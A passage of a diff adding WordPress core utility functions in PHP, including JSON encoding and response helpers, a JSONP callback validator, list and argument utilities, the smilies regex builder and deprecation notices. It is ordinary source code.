+ * @param mixed $data  Variable (usually an array or object) to encode as JSON.
+ * @param int   $depth Maximum depth to walk through $data. Must be greater than 0.
+ * @return mixed The sanitized data that shall be encoded to JSON.
+ */
+function _wp_json_sanity_check( $data, $depth ) {
+	if ( $depth < 0 ) {
+		throw new Exception( 'Reached depth limit' );
+	}
+
+	if ( is_array( $data ) ) {
+		$output = array();
+		foreach ( $data as $id => $el ) {
+			// Don't forget to sanitize the ID!
+			if ( is_string( $id ) ) {
+				$clean_id = _wp_json_convert_string( $id );
+			} else {
+				$clean_id = $id;
+			}
+
+			// Check the element type, so that we're only recursing if we really have to.
+			if ( is_array( $el ) || is_object( $el ) ) {
+				$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
+			} elseif ( is_string( $el ) ) {
+				$output[ $clean_id ] = _wp_json_convert_string( $el );
+			} else {
+				$output[ $clean_id ] = $el;
+			}
+		}
+	} elseif ( is_object( $data ) ) {
+		$output = new stdClass;
+		foreach ( $data as $id => $el ) {
+			if ( is_string( $id ) ) {
+				$clean_id = _wp_json_convert_string( $id );
+			} else {
+				$clean_id = $id;
+			}
+
+			if ( is_array( $el ) || is_object( $el ) ) {
+				$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
+			} elseif ( is_string( $el ) ) {
+				$output->$clean_id = _wp_json_convert_string( $el );
+			} else {
+				$output->$clean_id = $el;
+			}
+		}
+	} elseif ( is_string( $data ) ) {
+		return _wp_json_convert_string( $data );
+	} else {
+		return $data;
+	}
+
+	return $output;
+}
+
+/**
+ * Convert a string to UTF-8, so that it can be safely encoded to JSON.
+ *
+ * @ignore
+ * @since 4.1.0
+ * @access private
+ *
+ * @see _wp_json_sanity_check()
+ *
+ * @staticvar bool $use_mb
+ *
+ * @param string $string The string which is to be converted.
+ * @return string The checked string.
+ */
+function _wp_json_convert_string( $string ) {
+	static $use_mb = null;
+	if ( is_null( $use_mb ) ) {
+		$use_mb = function_exists( 'mb_convert_encoding' );
+	}
+
+	if ( $use_mb ) {
+		$encoding = mb_detect_encoding( $string, mb_detect_order(), true );
+		if ( $encoding ) {
+			return mb_convert_encoding( $string, 'UTF-8', $encoding );
+		} else {
+			return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
+		}
+	} else {
+		return wp_check_invalid_utf8( $string, true );
+	}
+}
+
+/**
+ * Prepares response data to be serialized to JSON.
+ *
+ * This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
+ *
+ * @ignore
+ * @since 4.4.0
+ * @access private
+ *
+ * @param mixed $data Native representation.
+ * @return bool|int|float|null|string|array Data ready for `json_encode()`.
+ */
+function _wp_json_prepare_data( $data ) {
+	if ( ! defined( 'WP_JSON_SERIALIZE_COMPATIBLE' ) || WP_JSON_SERIALIZE_COMPATIBLE === false ) {
+		return $data;
+	}
+
+	switch ( gettype( $data ) ) {
+		case 'boolean':
+		case 'integer':
+		case 'double':
+		case 'string':
+		case 'NULL':
+			// These values can be passed through.
+			return $data;
+
+		case 'array':
+			// Arrays must be mapped in case they also return objects.
+			return array_map( '_wp_json_prepare_data', $data );
+
+		case 'object':
+			// If this is an incomplete object (__PHP_Incomplete_Class), bail.
+			if ( ! is_object( $data ) ) {
+				return null;
+			}
+
+			if ( $data instanceof JsonSerializable ) {
+				$data = $data->jsonSerialize();
+			} else {
+				$data = get_object_vars( $data );
+			}
+
+			// Now, pass the array (or whatever was returned from jsonSerialize through).
+			return _wp_json_prepare_data( $data );
+
+		default:
+			return null;
+	}
+}
+
+/**
+ * Send a JSON response back to an Ajax request.
+ *
+ * @since 3.5.0
+ * @since 4.7.0 The `$status_code` parameter was added.
+ *
+ * @param mixed $response    Variable (usually an array or object) to encode as JSON,
+ *                           then print and die.
+ * @param int   $status_code The HTTP status code to output.
+ */
+function wp_send_json( $response, $status_code = null ) {
+	@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
+	if ( null !== $status_code ) {
+		status_header( $status_code );
+	}
+	echo wp_json_encode( $response );
+
+	if ( wp_doing_ajax() ) {
+		wp_die( '', '', array(
+			'response' => null,
+		) );
+	} else {
+		die;
+	}
+}
+
+/**
+ * Send a JSON response back to an Ajax request, indicating success.
+ *
+ * @since 3.5.0
+ * @since 4.7.0 The `$status_code` parameter was added.
+ *
+ * @param mixed $data        Data to encode as JSON, then print and die.
+ * @param int   $status_code The HTTP status code to output.
+ */
+function wp_send_json_success( $data = null, $status_code = null ) {
+	$response = array( 'success' => true );
+
+	if ( isset( $data ) )
+		$response['data'] = $data;
+
+	wp_send_json( $response, $status_code );
+}
+
+/**
+ * Send a JSON response back to an Ajax request, indicating failure.
+ *
+ * If the `$data` parameter is a WP_Error object, the errors
+ * within the object are processed and output as an array of error
+ * codes and corresponding messages. All other types are output
+ * without further processing.
+ *
+ * @since 3.5.0
+ * @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in.
+ * @since 4.7.0 The `$status_code` parameter was added.
+ *
+ * @param mixed $data        Data to encode as JSON, then print and die.
+ * @param int   $status_code The HTTP status code to output.
+ */
+function wp_send_json_error( $data = null, $status_code = null ) {
+	$response = array( 'success' => false );
+
+	if ( isset( $data ) ) {
+		if ( is_wp_error( $data ) ) {
+			$result = array();
+			foreach ( $data->errors as $code => $messages ) {
+				foreach ( $messages as $message ) {
+					$result[] = array( 'code' => $code, 'message' => $message );
+				}
+			}
+
+			$response['data'] = $result;
+		} else {
+			$response['data'] = $data;
+		}
+	}
+
+	wp_send_json( $response, $status_code );
+}
+
+/**
+ * Checks that a JSONP callback is a valid JavaScript callback.
+ *
+ * Only allows alphanumeric characters and the dot character in callback
+ * function names. This helps to mitigate XSS attacks caused by directly
+ * outputting user input.
+ *
+ * @since 4.6.0
+ *
+ * @param string $callback Supplied JSONP callback function.
+ * @return bool True if valid callback, otherwise false.
+ */
+function wp_check_jsonp_callback( $callback ) {
+	if ( ! is_string( $callback ) ) {
+		return false;
+	}
+
+	preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
+
+	return 0 === $illegal_char_count;
+}
+
+/**
+ * Retrieve the WordPress home page URL.
+ *
+ * If the constant named 'WP_HOME' exists, then it will be used and returned
+ * by the function. This can be used to counter the redirection on your local
+ * development environment.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @see WP_HOME
+ *
+ * @param string $url URL for the home location.
+ * @return string Homepage location.
+ */
+function _config_wp_home( $url = '' ) {
+	if ( defined( 'WP_HOME' ) )
+		return untrailingslashit( WP_HOME );
+	return $url;
+}
+
+/**
+ * Retrieve the WordPress site URL.
+ *
+ * If the constant named 'WP_SITEURL' is defined, then the value in that
+ * constant will always be returned. This can be used for debugging a site
+ * on your localhost while not having to change the database to your URL.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @see WP_SITEURL
+ *
+ * @param string $url URL to set the WordPress site location.
+ * @return string The WordPress Site URL.
+ */
+function _config_wp_siteurl( $url = '' ) {
+	if ( defined( 'WP_SITEURL' ) )
+		return untrailingslashit( WP_SITEURL );
+	return $url;
+}
+
+/**
+ * Delete the fresh site option.
+ *
+ * @since 4.7.0
+ * @access private
+ */
+function _delete_option_fresh_site() {
+	update_option( 'fresh_site', '0' );
+}
+
+/**
+ * Set the localized direction for MCE plugin.
+ *
+ * Will only set the direction to 'rtl', if the WordPress locale has
+ * the text direction set to 'rtl'.
+ *
+ * Fills in the 'directionality' setting, enables the 'directionality'
+ * plugin, and adds the 'ltr' button to 'toolbar1', formerly
+ * 'theme_advanced_buttons1' array keys. These keys are then returned
+ * in the $mce_init (TinyMCE settings) array.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $mce_init MCE settings array.
+ * @return array Direction set for 'rtl', if needed by locale.
+ */
+function _mce_set_direction( $mce_init ) {
+	if ( is_rtl() ) {
+		$mce_init['directionality'] = 'rtl';
+		$mce_init['rtl_ui'] = true;
+
+		if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) {
+			$mce_init['plugins'] .= ',directionality';
+		}
+
+		if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
+			$mce_init['toolbar1'] .= ',ltr';
+		}
+	}
+
+	return $mce_init;
+}
+
+
+/**
+ * Convert smiley code to the icon graphic file equivalent.
+ *
+ * You can turn off smilies, by going to the write setting screen and unchecking
+ * the box, or by setting 'use_smilies' option to false or removing the option.
+ *
+ * Plugins may override the default smiley list by setting the $wpsmiliestrans
+ * to an array, with the key the code the blogger types in and the value the
+ * image file.
+ *
+ * The $wp_smiliessearch global is for the regular expression and is set each
+ * time the function is called.
+ *
+ * The full list of smilies can be found in the function and won't be listed in
+ * the description. Probably should create a Codex page for it, so that it is
+ * available.
+ *
+ * @global array $wpsmiliestrans
+ * @global array $wp_smiliessearch
+ *
+ * @since 2.2.0
+ */
+function smilies_init() {
+	global $wpsmiliestrans, $wp_smiliessearch;
+
+	// don't bother setting up smilies if they are disabled
+	if ( !get_option( 'use_smilies' ) )
+		return;
+
+	if ( !isset( $wpsmiliestrans ) ) {
+		$wpsmiliestrans = array(
+		':mrgreen:' => 'mrgreen.png',
+		':neutral:' => "\xf0\x9f\x98\x90",
+		':twisted:' => "\xf0\x9f\x98\x88",
+		  ':arrow:' => "\xe2\x9e\xa1",
+		  ':shock:' => "\xf0\x9f\x98\xaf",
+		  ':smile:' => "\xf0\x9f\x99\x82",
+		    ':???:' => "\xf0\x9f\x98\x95",
+		   ':cool:' => "\xf0\x9f\x98\x8e",
+		   ':evil:' => "\xf0\x9f\x91\xbf",
+		   ':grin:' => "\xf0\x9f\x98\x80",
+		   ':idea:' => "\xf0\x9f\x92\xa1",
+		   ':oops:' => "\xf0\x9f\x98\xb3",
+		   ':razz:' => "\xf0\x9f\x98\x9b",
+		   ':roll:' => "\xf0\x9f\x99\x84",
+		   ':wink:' => "\xf0\x9f\x98\x89",
+		    ':cry:' => "\xf0\x9f\x98\xa5",
+		    ':eek:' => "\xf0\x9f\x98\xae",
+		    ':lol:' => "\xf0\x9f\x98\x86",
+		    ':mad:' => "\xf0\x9f\x98\xa1",
+		    ':sad:' => "\xf0\x9f\x99\x81",
+		      '8-)' => "\xf0\x9f\x98\x8e",
+		      '8-O' => "\xf0\x9f\x98\xaf",
+		      ':-(' => "\xf0\x9f\x99\x81",
+		      ':-)' => "\xf0\x9f\x99\x82",
+		      ':-?' => "\xf0\x9f\x98\x95",
+		      ':-D' => "\xf0\x9f\x98\x80",
+		      ':-P' => "\xf0\x9f\x98\x9b",
+		      ':-o' => "\xf0\x9f\x98\xae",
+		      ':-x' => "\xf0\x9f\x98\xa1",
+		      ':-|' => "\xf0\x9f\x98\x90",
+		      ';-)' => "\xf0\x9f\x98\x89",
+		// This one transformation breaks regular text with frequency.
+		//     '8)' => "\xf0\x9f\x98\x8e",
+		       '8O' => "\xf0\x9f\x98\xaf",
+		       ':(' => "\xf0\x9f\x99\x81",
+		       ':)' => "\xf0\x9f\x99\x82",
+		       ':?' => "\xf0\x9f\x98\x95",
+		       ':D' => "\xf0\x9f\x98\x80",
+		       ':P' => "\xf0\x9f\x98\x9b",
+		       ':o' => "\xf0\x9f\x98\xae",
+		       ':x' => "\xf0\x9f\x98\xa1",
+		       ':|' => "\xf0\x9f\x98\x90",
+		       ';)' => "\xf0\x9f\x98\x89",
+		      ':!:' => "\xe2\x9d\x97",
+		      ':?:' => "\xe2\x9d\x93",
+		);
+	}
+
+	/**
+	 * Filters all the smilies.
+	 *
+	 * This filter must be added before `smilies_init` is run, as
+	 * it is normally only run once to setup the smilies regex.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $wpsmiliestrans List of the smilies.
+	 */
+	$wpsmiliestrans = apply_filters('smilies', $wpsmiliestrans);
+
+	if (count($wpsmiliestrans) == 0) {
+		return;
+	}
+
+	/*
+	 * NOTE: we sort the smilies in reverse key order. This is to make sure
+	 * we match the longest possible smilie (:???: vs :?) as the regular
+	 * expression used below is first-match
+	 */
+	krsort($wpsmiliestrans);
+
+	$spaces = wp_spaces_regexp();
+
+	// Begin first "subpattern"
+	$wp_smiliessearch = '/(?<=' . $spaces . '|^)';
+
+	$subchar = '';
+	foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
+		$firstchar = substr($smiley, 0, 1);
+		$rest = substr($smiley, 1);
+
+		// new subpattern?
+		if ($firstchar != $subchar) {
+			if ($subchar != '') {
+				$wp_smiliessearch .= ')(?=' . $spaces . '|$)';  // End previous "subpattern"
+				$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"
+			}
+			$subchar = $firstchar;
+			$wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
+		} else {
+			$wp_smiliessearch .= '|';
+		}
+		$wp_smiliessearch .= preg_quote($rest, '/');
+	}
+
+	$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
+
+}
+
+/**
+ * Merge user defined arguments into defaults array.
+ *
+ * This function is used throughout WordPress to allow for both string or array
+ * to be merged into another array.
+ *
+ * @since 2.2.0
+ * @since 2.3.0 `$args` can now also be an object.
+ *
+ * @param string|array|object $args     Value to merge with $defaults.
+ * @param array               $defaults Optional. Array that serves as the defaults. Default empty.
+ * @return array Merged user defined values with defaults.
+ */
+function wp_parse_args( $args, $defaults = '' ) {
+	if ( is_object( $args ) )
+		$r = get_object_vars( $args );
+	elseif ( is_array( $args ) )
+		$r =& $args;
+	else
+		wp_parse_str( $args, $r );
+
+	if ( is_array( $defaults ) )
+		return array_merge( $defaults, $r );
+	return $r;
+}
+
+/**
+ * Clean up an array, comma- or space-separated list of IDs.
+ *
+ * @since 3.0.0
+ *
+ * @param array|string $list List of ids.
+ * @return array Sanitized array of IDs.
+ */
+function wp_parse_id_list( $list ) {
+	if ( !is_array($list) )
+		$list = preg_split('/[\s,]+/', $list);
+
+	return array_unique(array_map('absint', $list));
+}
+
+/**
+ * Clean up an array, comma- or space-separated list of slugs.
+ *
+ * @since 4.7.0
+ *
+ * @param  array|string $list List of slugs.
+ * @return array Sanitized array of slugs.
+ */
+function wp_parse_slug_list( $list ) {
+	if ( ! is_array( $list ) ) {
+		$list = preg_split( '/[\s,]+/', $list );
+	}
+
+	foreach ( $list as $key => $value ) {
+		$list[ $key ] = sanitize_title( $value );
+	}
+
+	return array_unique( $list );
+}
+
+/**
+ * Extract a slice of an array, given a list of keys.
+ *
+ * @since 3.1.0
+ *
+ * @param array $array The original array.
+ * @param array $keys  The list of keys.
+ * @return array The array slice.
+ */
+function wp_array_slice_assoc( $array, $keys ) {
+	$slice = array();
+	foreach ( $keys as $key )
+		if ( isset( $array[ $key ] ) )
+			$slice[ $key ] = $array[ $key ];
+
+	return $slice;
+}
+
+/**
+ * Determines if the variable is a numeric-indexed array.
+ *
+ * @since 4.4.0
+ *
+ * @param mixed $data Variable to check.
+ * @return bool Whether the variable is a list.
+ */
+function wp_is_numeric_array( $data ) {
+	if ( ! is_array( $data ) ) {
+		return false;
+	}
+
+	$keys = array_keys( $data );
+	$string_keys = array_filter( $keys, 'is_string' );
+	return count( $string_keys ) === 0;
+}
+
+/**
+ * Filters a list of objects, based on a set of key => value arguments.
+ *
+ * @since 3.0.0
+ * @since 4.7.0 Uses WP_List_Util class.
+ *
+ * @param array       $list     An array of objects to filter
+ * @param array       $args     Optional. An array of key => value arguments to match
+ *                              against each object. Default empty array.
+ * @param string      $operator Optional. The logical operation to perform. 'or' means
+ *                              only one element from the array needs to match; 'and'
+ *                              means all elements must match; 'not' means no elements may
+ *                              match. Default 'and'.
+ * @param bool|string $field    A field from the object to place instead of the entire object.
+ *                              Default false.
+ * @return array A list of objects or object fields.
+ */
+function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
+	if ( ! is_array( $list ) ) {
+		return array();
+	}
+
+	$util = new WP_List_Util( $list );
+
+	$util->filter( $args, $operator );
+
+	if ( $field ) {
+		$util->pluck( $field );
+	}
+
+	return $util->get_output();
+}
+
+/**
+ * Filters a list of objects, based on a set of key => value arguments.
+ *
+ * @since 3.1.0
+ * @since 4.7.0 Uses WP_List_Util class.
+ *
+ * @param array  $list     An array of objects to filter.
+ * @param array  $args     Optional. An array of key => value arguments to match
+ *                         against each object. Default empty array.
+ * @param string $operator Optional. The logical operation to perform. 'AND' means
+ *                         all elements from the array must match. 'OR' means only
+ *                         one element needs to match. 'NOT' means no elements may
+ *                         match. Default 'AND'.
+ * @return array Array of found values.
+ */
+function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
+	if ( ! is_array( $list ) ) {
+		return array();
+	}
+
+	$util = new WP_List_Util( $list );
+	return $util->filter( $args, $operator );
+}
+
+/**
+ * Pluck a certain field out of each object in a list.
+ *
+ * This has the same functionality and prototype of
+ * array_column() (PHP 5.5) but also supports objects.
+ *
+ * @since 3.1.0
+ * @since 4.0.0 $index_key parameter added.
+ * @since 4.7.0 Uses WP_List_Util class.
+ *
+ * @param array      $list      List of objects or arrays
+ * @param int|string $field     Field from the object to place instead of the entire object
+ * @param int|string $index_key Optional. Field from the object to use as keys for the new array.
+ *                              Default null.
+ * @return array Array of found values. If `$index_key` is set, an array of found values with keys
+ *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
+ *               `$list` will be preserved in the results.
+ */
+function wp_list_pluck( $list, $field, $index_key = null ) {
+	$util = new WP_List_Util( $list );
+	return $util->pluck( $field, $index_key );
+}
+
+/**
+ * Sorts a list of objects, based on one or more orderby arguments.
+ *
+ * @since 4.7.0
+ *
+ * @param array        $list          An array of objects to filter.
+ * @param string|array $orderby       Optional. Either the field name to order by or an array
+ *                                    of multiple orderby fields as $orderby => $order.
+ * @param string       $order         Optional. Either 'ASC' or 'DESC'. Only used if $orderby
+ *                                    is a string.
+ * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
+ * @return array The sorted array.
+ */
+function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
+	if ( ! is_array( $list ) ) {
+		return array();
+	}
+
+	$util = new WP_List_Util( $list );
+	return $util->sort( $orderby, $order, $preserve_keys );
+}
+
+/**
+ * Determines if Widgets library should be loaded.
+ *
+ * Checks to make sure that the widgets library hasn't already been loaded.
+ * If it hasn't, then it will load the widgets library and run an action hook.
+ *
+ * @since 2.2.0
+ */
+function wp_maybe_load_widgets() {
+	/**
+	 * Filters whether to load the Widgets library.
+	 *
+	 * Passing a falsey value to the filter will effectively short-circuit
+	 * the Widgets library from loading.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
+	 *                                    Default true.
+	 */
+	if ( ! apply_filters( 'load_default_widgets', true ) ) {
+		return;
+	}
+
+	require_once( ABSPATH . WPINC . '/default-widgets.php' );
+
+	add_action( '_admin_menu', 'wp_widgets_add_menu' );
+}
+
+/**
+ * Append the Widgets menu to the themes main menu.
+ *
+ * @since 2.2.0
+ *
+ * @global array $submenu
+ */
+function wp_widgets_add_menu() {
+	global $submenu;
+
+	if ( ! current_theme_supports( 'widgets' ) )
+		return;
+
+	$submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
+	ksort( $submenu['themes.php'], SORT_NUMERIC );
+}
+
+/**
+ * Flush all output buffers for PHP 5.2.
+ *
+ * Make sure all output buffers are flushed before our singletons are destroyed.
+ *
+ * @since 2.2.0
+ */
+function wp_ob_end_flush_all() {
+	$levels = ob_get_level();
+	for ($i=0; $i<$levels; $i++)
+		ob_end_flush();
+}
+
+/**
+ * Load custom DB error or display WordPress DB error.
+ *
+ * If a file exists in the wp-content directory named db-error.php, then it will
+ * be loaded instead of displaying the WordPress DB error. If it is not found,
+ * then the WordPress DB error will be displayed instead.
+ *
+ * The WordPress DB error sets the HTTP status header to 500 to try to prevent
+ * search engines from caching the message. Custom DB messages should do the
+ * same.
+ *
+ * This function was backported to WordPress 2.3.2, but originally was added
+ * in WordPress 2.5.0.
+ *
+ * @since 2.3.2
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function dead_db() {
+	global $wpdb;
+
+	wp_load_translations_early();
+
+	// Load custom DB error template, if present.
+	if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
+		require_once( WP_CONTENT_DIR . '/db-error.php' );
+		die();
+	}
+
+	// If installing or in the admin, provide the verbose message.
+	if ( wp_installing() || defined( 'WP_ADMIN' ) )
+		wp_die($wpdb->error);
+
+	// Otherwise, be terse.
+	status_header( 500 );
+	nocache_headers();
+	header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php _e( 'Database Error' ); ?></title>
+
+</head>
+<body>
+	<h1><?php _e( 'Error establishing a database connection' ); ?></h1>
+</body>
+</html>
+<?php
+	die();
+}
+
+/**
+ * Convert a value to non-negative integer.
+ *
+ * @since 2.5.0
+ *
+ * @param mixed $maybeint Data you wish to have converted to a non-negative integer.
+ * @return int A non-negative integer.
+ */
+function absint( $maybeint ) {
+	return abs( intval( $maybeint ) );
+}
+
+/**
+ * Mark a function as deprecated and inform when it has been used.
+ *
+ * There is a {@see 'hook deprecated_function_run'} that will be called that can be used
+ * to get the backtrace up to what file and function called the deprecated
+ * function.
+ *
+ * The current behavior is to trigger a user error if `WP_DEBUG` is true.
+ *
+ * This function is to be used in every function that is deprecated.
+ *
+ * @since 2.5.0
+ * @access private
+ *
+ * @param string $function    The function that was called.
+ * @param string $version     The version of WordPress that deprecated the function.
+ * @param string $replacement Optional. The function that should have been called. Default null.
+ */
+function _deprecated_function( $function, $version, $replacement = null ) {
+
+	/**
+	 * Fires when a deprecated function is called.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $function    The function that was called.
+	 * @param string $replacement The function that should have been called.
+	 * @param string $version     The version of WordPress that deprecated the function.
+	 */
+	do_action( 'deprecated_function_run', $function, $replacement, $version );
+
+	/**
+	 * Filters whether to trigger an error for deprecated functions.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
+		if ( function_exists( '__' ) ) {
+			if ( ! is_null( $replacement ) ) {
+				/* translators: 1: PHP function name, 2: version number, 3: alternative function name */
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
+			} else {
+				/* translators: 1: PHP function name, 2: version number */
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
+			}
+		} else {
+			if ( ! is_null( $replacement ) ) {
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );
+			} else {
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
+			}
+		}
+	}
+}
+
+/**
+ * Marks a constructor as deprecated and informs when it has been used.
+ *
+ * Similar to _deprecated_function(), but with different strings. Used to
+ * remove PHP4 style constructors.
+ *
+ * The current behavior is to trigger a user error if `WP_DEBUG` is true.
+ *
+ * This function is to be used in every PHP4 style constructor method that is deprecated.
+ *
+ * @since 4.3.0
+ * @since 4.5.0 Added the `$parent_class` parameter.
+ *
+ * @access private
+ *
+ * @param string $class        The class containing the deprecated constructor.
+ * @param string $version      The version of WordPress that deprecated the function.
+ * @param string $parent_class Optional. The parent class calling the deprecated constructor.
+ *                             Default empty string.
+ */
+function _deprecated_constructor( $class, $version, $parent_class = '' ) {
+
+	/**
+	 * Fires when a deprecated constructor is called.
+	 *
+	 * @since 4.3.0
+	 * @since 4.5.0 Added the `$parent_class` parameter.
+	 *
+	 * @param string $class        The class containing the deprecated constructor.
+	 * @param string $version      The version of WordPress that deprecated the function.
+	 * @param string $parent_class The parent class calling the deprecated constructor.
+	 */
+	do_action( 'deprecated_constructor_run', $class, $version, $parent_class );
+
+	/**
+	 * Filters whether to trigger an error for deprecated functions.
+	 *
+	 * `WP_DEBUG` must be true in addition to the filter evaluating to true.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
+		if ( function_exists( '__' ) ) {
+			if ( ! empty( $parent_class ) ) {
+				/* translators: 1: PHP class name, 2: PHP parent class name, 3: version number, 4: __construct() method */
+				trigger_error( sprintf( __( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
+					$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
+			} else {
+				/* translators: 1: PHP class name, 2: version number, 3: __construct() method */
+				trigger_error( sprintf( __( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
+					$class, $version, '<pre>__construct()</pre>' ) );
+			}
+		} else {
+			if ( ! empty( $parent_class ) ) {
+				trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
+					$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
+			} else {
+				trigger_error( sprintf( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
+					$class, $version, '<pre>__construct()</pre>' ) );
+			}
+		}
+	}
+
+}
+
+/**
+ * Mark a file as deprecated and inform when it has been used.
+ *
+ * There is a hook {@see 'deprecated_file_included'} that will be called that can be used
+ * to get the backtrace up to what file and function included the deprecated
+ * file.
+ *
+ * The current behavior is to trigger a user error if `WP_DEBUG` is true.
+ *
+ * This function is to be used in every file that is deprecated.
+ *
+ * @since 2.5.0
+ * @access private
+ *
+ * @param string $file        The file that was included.
+ * @param string $version     The version of WordPress that deprecated the file.
+ * @param string $replacement Optional. The file that should have been included based on ABSPATH.
+ *                            Default null.
+ * @param string $message     Optional. A message regarding the change. Default empty.
+ */
+function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
+
+	/**
+	 * Fires when a deprecated file is called.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $file        The file that was called.
+	 * @param string $replacement The file that should have been included based on ABSPATH.
+	 * @param string $version     The version of WordPress that deprecated the file.
+	 * @param string $message     A message regarding the change.
+	 */
+	do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
+
+	/**
+	 * Filters whether to trigger an error for deprecated files.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for deprecated files. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
+		$message = empty( $message ) ? '' : ' ' . $message;
+		if ( function_exists( '__' ) ) {
+			if ( ! is_null( $replacement ) ) {
+				/* translators: 1: PHP file name, 2: version number, 3: alternative file name */
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );
+			} else {
+				/* translators: 1: PHP file name, 2: version number */
+				trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );
+			}
+		} else {
+			if ( ! is_null( $replacement ) ) {
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );
+			} else {
+				trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );
+			}
+		}
+	}
+}
+/**
+ * Mark a function argument as deprecated and inform when it has been used.
+ *
+ * This function is to be used whenever a deprecated function argument is used.
+ * Before this function is called, the argument must be checked for whether it was
+ * used by comparing it to its default value or evaluating whether it is empty.
+ * For example:
+ *
+ *     if ( ! empty( $deprecated ) ) {
+ *         _deprecated_argument( __FUNCTION__, '3.0.0' );
+ *     }
+ *
+ *
+ * There is a hook deprecated_argument_run that will be called that can be used
+ * to get the backtrace up to what file and function used the deprecated
+ * argument.
+ *
+ * The current behavior is to trigger a user error if WP_DEBUG is true.
+ *
+ * @since 3.0.0
+ * @access private
+ *
+ * @param string $function The function that was called.
+ * @param string $version  The version of WordPress that deprecated the argument used.
+ * @param string $message  Optional. A message regarding the change. Default null.
+ */
+function _deprecated_argument( $function, $version, $message = null ) {
+
+	/**
+	 * Fires when a deprecated argument is called.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $function The function that was called.
+	 * @param string $message  A message regarding the change.
+	 * @param string $version  The version of WordPress that deprecated the argument used.
+	 */
+	do_action( 'deprecated_argument_run', $function, $message, $version );
+
+	/**
+	 * Filters whether to trigger an error for deprecated arguments.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
+	 */
+	if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
+		if ( function_exists( '__' ) ) {
+			if ( ! is_null( $message ) ) {
+				/* translators: 1: PHP function name, 2: version number, 3: optional message regarding the change */
+				trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );
+			} else {
+				/* translators: 1: PHP function name, 2: version number */
+				trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
+			}
+		} else {
+			if ( ! is_null( $message ) ) {
+				trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );
+			} else {
